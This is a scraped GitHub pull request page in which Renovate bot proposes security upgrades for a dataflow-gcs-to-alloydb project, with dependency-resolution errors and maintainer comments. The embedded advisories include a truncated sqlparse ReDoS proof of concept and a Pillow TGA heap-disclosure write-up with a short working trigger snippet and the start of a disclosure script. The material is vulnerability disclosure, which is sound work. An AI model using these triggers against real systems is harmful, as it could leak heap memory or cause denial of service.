##### Default: run the PoC
CMD ["python3", "/app/poc.py"]

`poc.py`

"""
PoC: ReDoS in sqlparse dollar-quoted literal regex (VULN-001)

Affected code: sqlparse/keywords.py:33
    (r'((?<![\\w\\"\\$])\\$(?:[_A-ZÀ-Ü]\\w*)?\\$)[\\s\\S]*?\\1', tokens.Literal)

The backreference \\1 forces

> ✂ **Note**
> 
> PR body was truncated to here.

…2.3.0 [SECURITY]

forking-renovate · 2026-07-14T14:01:31Z

⚠️ Artifact update problem

Renovate failed to update artifacts related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

any of the package files in this branch needs updating, or
the branch becomes conflicted, or
you click the rebase/retry checkbox if found above, or
you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: projects/dataflow-gcs-to-alloydb/requirements.txt

Command failed: uv pip compile --generate-hashes --python-version=3.13 --prerelease=allow --output-file=requirements.txt requirements.in --upgrade-package=aiohttp==3.14.3 --upgrade-package=h2==4.4.1 --upgrade-package=httplib2==0.32.0 --upgrade-package=pyasn1==0.6.4 --upgrade-package=sqlparse==0.6.0
  × No solution found when resolving dependencies:
  ╰─▶ Because apache-beam==2.74.0 depends on httplib2>=0.8,<0.32.0 and
      httplib2==0.32.0, we can conclude that apache-beam==2.74.0 cannot be
      used.
      And because you require apache-beam[gcp]==2.74.0, we can conclude that
      your requirements are unsatisfiable.

File name: projects/dataflow-gcs-to-alloydb/requirements-dev.txt

Command failed: uv pip compile --generate-hashes --python-version=3.13 --prerelease=allow --output-file=requirements-dev.txt requirements-dev.in --upgrade-package=aiohttp==3.14.3 --upgrade-package=h2==4.4.1 --upgrade-package=httplib2==0.32.0 --upgrade-package=pyasn1==0.6.4 --upgrade-package=sqlparse==0.6.0
  × No solution found when resolving dependencies:
  ╰─▶ Because apache-beam==2.74.0 depends on httplib2>=0.8,<0.32.0 and
      httplib2==0.32.0, we can conclude that apache-beam==2.74.0 cannot be
      used.
      And because you require apache-beam[gcp]==2.74.0, we can conclude that
      your requirements are unsatisfiable.

…v0.32.0 [SECURITY] Import of github PR #595 from renovate-bot #595 > ℹ️ **Note** > > This PR body was truncated due to platform limits. This PR contains the following updates: [httplib2](https://redirect.github.com/httplib2/httplib2): `0.31.2` → `0.32.0` [pillow](https://redirect.github.com/python-pillow/Pillow): `12.2.0` → `12.3.0` --- > [!WARNING] > Some dependencies could not be looked up. Check the [Dependency Dashboard](../issues/73) for more information. --- ### [CVE-2026-59939](https://nvd.nist.gov/vuln/detail/CVE-2026-59939) / [GHSA-j5g9-f88f-gfj3](https://redirect.github.com/advisories/GHSA-j5g9-f88f-gfj3) / PYSEC-2026-3444 --- ### Pillow `BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading BIT-pillow-2026-55379 / [CVE-2026-55379](https://nvd.nist.gov/vuln/detail/CVE-2026-55379) / [GHSA-45hq-cxwh-f6vc](https://redirect.github.com/advisories/GHSA-45hq-cxwh-f6vc) / PYSEC-2026-2255 --- ### Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path BIT-pillow-2026-55798 / [CVE-2026-55798](https://nvd.nist.gov/vuln/detail/CVE-2026-55798) / [GHSA-4x4j-2g7c-83w6](https://redirect.github.com/advisories/GHSA-4x4j-2g7c-83w6) / PYSEC-2026-2257 --- ### Pillow: `FontFile.compile()`: `Image.new()` called without `_decompression_bomb_check()` BIT-pillow-2026-54060 / [CVE-2026-54060](https://nvd.nist.gov/vuln/detail/CVE-2026-54060) / [GHSA-5x94-69rx-g8h2](https://redirect.github.com/advisories/GHSA-5x94-69rx-g8h2) / PYSEC-2026-2254 --- ### Pillow: Out-of-bounds read via attacker-controlled row stride on Pillow's mmap path (McIdas AREA files) BIT-pillow-2026-54058 / [CVE-2026-54058](https://nvd.nist.gov/vuln/detail/CVE-2026-54058) / [GHSA-62p4-gmf7-7g93](https://redirect.github.com/advisories/GHSA-62p4-gmf7-7g93) --- ### Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via signed coordinate overflow BIT-pillow-2026-59199 / [CVE-2026-59199](https://nvd.nist.gov/vuln/detail/CVE-2026-59199) / [GHSA-6r8x-57c9-28j4](https://redirect.github.com/advisories/GHSA-6r8x-57c9-28j4) / PYSEC-2026-3451 --- ### Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading BIT-pillow-2026-54059 / [CVE-2026-54059](https://nvd.nist.gov/vuln/detail/CVE-2026-54059) / [GHSA-8v84-f9pq-wr9x](https://redirect.github.com/advisories/GHSA-8v84-f9pq-wr9x) / PYSEC-2026-2253 --- ### Pillow: Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()` via output mode mismatch BIT-pillow-2026-59205 / [CVE-2026-59205](https://nvd.nist.gov/vuln/detail/CVE-2026-59205) / [GHSA-9hw9-ch79-4vh6](https://redirect.github.com/advisories/GHSA-9hw9-ch79-4vh6) / PYSEC-2026-3453 --- ### Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images BIT-pillow-2026-59198 / [CVE-2026-59198](https://nvd.nist.gov/vuln/detail/CVE-2026-59198) / [GHSA-fj7v-r99m-22gq](https://redirect.github.com/advisories/GHSA-fj7v-r99m-22gq) <details> <summary>More information</summary> #### Details ##### Summary Pillow's TGA RLE encoder reads past its row buffer when saving a mode `"1"` image. Adjacent process heap bytes can be copied into the generated TGA file. The bug is reachable through the public save API: ```python im.save(out, format="TGA", compression="tga_rle") ``` Older affected Pillow versions use the equivalent public option `rle=True`. For mode `"1"`, Pillow allocates a packed row buffer of `ceil(width / 8)` bytes, but `ImagingTgaRleEncode()` treats the row as one full byte per pixel. The maximum valid TGA width is `65535`. At that width: ```text allocated packed row buffer: 8192 bytes encoder byte-offset walk: 65535 bytes maximum OOB window per row: 57343 bytes ``` On non-ASAN Pillow `12.2.0`, the public-only maximum-width PoC below serialized `57297` bytes from distinct out-of-bounds source offsets into one returned TGA, covering `99.92%` of the maximum adjacent heap window. No heap grooming, ctypes, private API, or malformed input file was used. The disclosure is emitted across many TGA packet payload copies of at most `128` bytes each, not one large `memcpy()`. ##### Details `src/PIL/TgaImagePlugin.py` allows mode `"1"` TGA output and selects the `tga_rle` encoder when RLE compression is requested. `src/encode.c:_setimage()` allocates the row buffer using the packed-bit formula: ```c state->bytes = (state->bits * state->xsize + 7) / 8; state->buffer = (UINT8 *)calloc(1, state->bytes); ``` For mode `"1"`, `state->bits == 1`. `src/libImaging/TgaRleEncode.c` then computes: ```c bytesPerPixel = (state->bits + 7) / 8; ``` This becomes `1`, and the encoder uses pixel indexes as byte offsets: ```c static int comparePixels(const UINT8 *buf, int x, int bytesPerPixel) { buf += x * bytesPerPixel; return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0; } ``` The packet payload `memcpy()` later copies those out-of-bounds source bytes into the output. Raw packets copy up to `128` contiguous bytes, while RLE packets copy one representative byte: ```c memcpy( dst, state->buffer + (state->x * bytesPerPixel - state->count), flushCount ); ``` A width-2 mode `"1"` image allocates one row byte and already triggers an ASAN heap-buffer-overflow read. Wider images increase the adjacent heap window and the amount of heap data that can be serialized. ##### PoC ##### Minimal ASAN trigger ```python import io from PIL import Image out = io.BytesIO() Image.new("1", (2, 1)).save(out, format="TGA", compression="tga_rle") ``` Observed on local Pillow `12.3.0.dev0` ASAN target: ```text ERROR: AddressSanitizer: heap-buffer-overflow READ of size 1 comparePixels /out/src/src/libImaging/TgaRleEncode.c:10 ImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81 0 bytes after a 1-byte allocation from _setimage ``` ##### Maximum-width heap disclosure This PoC uses one maximum-width row. It parses the generated TGA packets and extracts only payload bytes whose source offsets were outside the allocated packed row. Rows are avoided because they mostly repeat the same adjacent heap window. Run the following with a standard affected Pillow installation. ```python import hashlib import io import PIL from PIL import Image WIDTH = 65535 ATTEMPTS = 20 ROW_BYTES = (WIDTH + 7) // 8 MAX_OOB_WINDOW = WIDTH - ROW_BYT > ✂ **Note** > > PR body was truncated to here. --- ### Commit Message(s): -- Change 1 of 1 by Mend Renovate <bot@renovateapp.com>: chore(deps): [dataflow-gcs-to-alloydb] Update dependency pillow to v12.3.0 [SECURITY] GitOrigin-RevId: 90d79fd93cfd019bb1e7ee7dd23110c14611e476 Change-Id: I6005716367fb382a32d9d8c46aad8eff86cdfada

zunhoyi · 2026-08-18T02:37:50Z

Apache beam has released v2.76.0-RC2 last week, however it hasn't added to Apache beam pypi repo yet (Link). Will update this PR when stable version of Apache beam 2.76.0 is available from pypi.

cc: @ferrarimarco

ferrarimarco · 2026-08-18T08:10:27Z

Got it, thanks for the update.

renovate-bot requested a review from zunhoyi as a code owner July 7, 2026 14:35

forking-renovate Bot added dependencies Pull requests that update a dependency file p0 SECURITY labels Jul 7, 2026

renovate-bot force-pushed the renovate/dataflow-gcs-to-alloydb-vulnerabilityalerts branch from 068a207 to 8f4eb22 Compare July 7, 2026 14:40

ferrarimarco assigned zunhoyi Jul 7, 2026

renovate-bot force-pushed the renovate/dataflow-gcs-to-alloydb-vulnerabilityalerts branch 5 times, most recently from 1401c53 to a87ef12 Compare July 13, 2026 13:07

chore(deps): [dataflow-gcs-to-alloydb] Update dependency pillow to v1…

48f2d3d

…2.3.0 [SECURITY]

renovate-bot force-pushed the renovate/dataflow-gcs-to-alloydb-vulnerabilityalerts branch from a87ef12 to 48f2d3d Compare July 13, 2026 15:18

renovate-bot changed the title ~~chore(deps): [dataflow-gcs-to-alloydb] Update dependency pillow to v12.3.0 [SECURITY]~~ chore(deps): [dataflow-gcs-to-alloydb] Update vulnerabilityAlerts to v0.32.0 [SECURITY] Jul 14, 2026

renovate-bot changed the title ~~chore(deps): [dataflow-gcs-to-alloydb] Update vulnerabilityAlerts to v0.32.0 [SECURITY]~~ chore(deps): [dataflow-gcs-to-alloydb] Update dependency httplib2 to v0.32.0 [SECURITY] Jul 21, 2026

renovate-bot changed the title ~~chore(deps): [dataflow-gcs-to-alloydb] Update dependency httplib2 to v0.32.0 [SECURITY]~~ chore(deps): [dataflow-gcs-to-alloydb] Update vulnerabilityAlerts to v0.32.0 [SECURITY] Jul 22, 2026

renovate-bot changed the title ~~chore(deps): [dataflow-gcs-to-alloydb] Update vulnerabilityAlerts to v0.32.0 [SECURITY]~~ chore(deps): [dataflow-gcs-to-alloydb] Update vulnerabilityAlerts to v3.14.2 [SECURITY] Jul 24, 2026

renovate-bot changed the title ~~chore(deps): [dataflow-gcs-to-alloydb] Update vulnerabilityAlerts to v3.14.2 [SECURITY]~~ chore(deps): [dataflow-gcs-to-alloydb] Update vulnerabilityAlerts to v0.32.0 [SECURITY] Jul 24, 2026

renovate-bot changed the title ~~chore(deps): [dataflow-gcs-to-alloydb] Update vulnerabilityAlerts to v0.32.0 [SECURITY]~~ chore(deps): [dataflow-gcs-to-alloydb] Update vulnerabilityAlerts to v3.14.2 [SECURITY] Jul 27, 2026

renovate-bot changed the title ~~chore(deps): [dataflow-gcs-to-alloydb] Update vulnerabilityAlerts to v3.14.2 [SECURITY]~~ chore(deps): [dataflow-gcs-to-alloydb] Update vulnerabilityAlerts to v3.14.3 [SECURITY] Jul 28, 2026

renovate-bot changed the title ~~chore(deps): [dataflow-gcs-to-alloydb] Update vulnerabilityAlerts to v3.14.3 [SECURITY]~~ chore(deps): [dataflow-gcs-to-alloydb] Update vulnerabilityAlerts to v0.32.0 [SECURITY] Jul 28, 2026

renovate-bot changed the title ~~chore(deps): [dataflow-gcs-to-alloydb] Update vulnerabilityAlerts to v0.32.0 [SECURITY]~~ chore(deps): [dataflow-gcs-to-alloydb] Update vulnerabilityAlerts to v3.14.3 [SECURITY] Aug 4, 2026

Navigation Menu

Uh oh!

chore(deps): [dataflow-gcs-to-alloydb] Update vulnerabilityAlerts to v3.14.3 [SECURITY] - #595

chore(deps): [dataflow-gcs-to-alloydb] Update vulnerabilityAlerts to v3.14.3 [SECURITY]#595
renovate-bot wants to merge 1 commit into
GoogleCloudPlatform:mainfrom
renovate-bot:renovate/dataflow-gcs-to-alloydb-vulnerabilityalerts

renovate-bot commented Jul 7, 2026 •

edited

Loading

Uh oh!

forking-renovate Bot commented Jul 14, 2026 •

edited

Loading

Uh oh!

zunhoyi commented Aug 18, 2026

Uh oh!

ferrarimarco commented Aug 18, 2026

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

3 participants

Uh oh!

Conversation

renovate-bot commented Jul 7, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

AIOHTTP: HTTP request smuggling via WebSocket upgrade

Details

Summary

Impact

Severity

References

AIOHTTP: WebSocket client accepts compressed frames without negotiated permessage-deflate

Details

Summary

Impact

Severity

References

AIOHTTP: HTTP request smuggling via WebSocket upgrade

Details

Summary

Impact

Severity

References

AIOHTTP: WebSocket client accepts compressed frames without negotiated permessage-deflate

Details

Summary

Impact

Severity

References

AIOHTTP: Out-of-bounds heap read in C HTTP response parser error path (malformed chunked response)

Details

Summary

Impact

Workaround

Severity

References

AIOHTTP: Out-of-bounds heap read in C HTTP response parser error path (malformed chunked response)

Details

Summary

Impact

Workaround

Severity

References

h2: Duplicate Host header could facilitate request smuggling

Details

Impact

Patches

Workarounds

References

Severity

References

h2: Duplicate Host header could facilitate request smuggling

Details

Impact

Patches

Workarounds

References

Severity

References

httplib2: Decompression Bomb Denial of Service via Unbounded gzip/deflate Response Handling

Details

Summary

Details

Proof of Concept

Impact

Credit

Severity

References

CVE-2026-59939 / GHSA-j5g9-f88f-gfj3 / PYSEC-2026-3444

Details

Severity

References

pyasn1: Quadratic complexity in OBJECT IDENTIFIER and RELATIVE-OID processing allows denial of service

Details

Impact

Affected components

Patches

Workarounds

Severity

References

pyasn1: Uncontrolled resource consumption when converting decoded REAL values

renovate-bot commented Jul 7, 2026 •

edited

Loading

`Dockerfile`

`poc.py`

forking-renovate Bot commented Jul 14, 2026 •

edited

Loading